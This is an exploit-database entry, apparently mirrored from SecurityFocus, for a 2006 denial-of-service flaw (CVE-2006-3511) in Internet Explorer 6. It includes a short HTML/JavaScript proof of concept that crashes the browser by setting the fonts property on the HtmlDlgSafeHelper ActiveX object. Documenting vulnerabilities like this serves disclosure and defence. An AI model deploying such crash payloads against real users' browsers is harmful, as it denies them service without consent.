Microsoft Internet Explorer 6 - 'HtmlDlgSafeHelper' Remote Denial of Service

Author: hdm
type: dos
platform: windows
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date_added: 2006-07-10 
date_updated: 2017-05-24 
verified: 1 
codes: CVE-2006-3511;OSVDB-27055 
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source: https://www.securityfocus.com/bid/18929/info

Microsoft Internet Explorer is prone to a denial-of-service vulnerability.

This issue is triggered when an attacker convinces a victim user to visit a malicious website.

Remote attackers may exploit this issue to crash Internet Explorer, effectively denying service to legitimate users.

// MoBB Demonstration
function Demo() {
	var a = new ActiveXObject('HtmlDlgSafeHelper.HtmlDlgSafeHelper');
	a.fonts = "Goodbye!";
}

</script>

Clicking the button below may crash your browser!<br><br>
<input type='button' onClick='Demo()' value='Start Demo!'>